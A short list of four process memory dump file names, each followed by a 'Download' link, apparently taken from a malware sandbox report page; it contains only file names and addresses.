memory/5012-2032-0x00000000054F0000-0x0000000005556000-memory.dmp

Download

memory/5012-2033-0x0000000006330000-0x00000000063C2000-memory.dmp

Download

memory/5012-2034-0x0000000006980000-0x0000000006F24000-memory.dmp

Download

memory/5012-140-0x0000000000400000-0x0000000000470000-memory.dmp

Download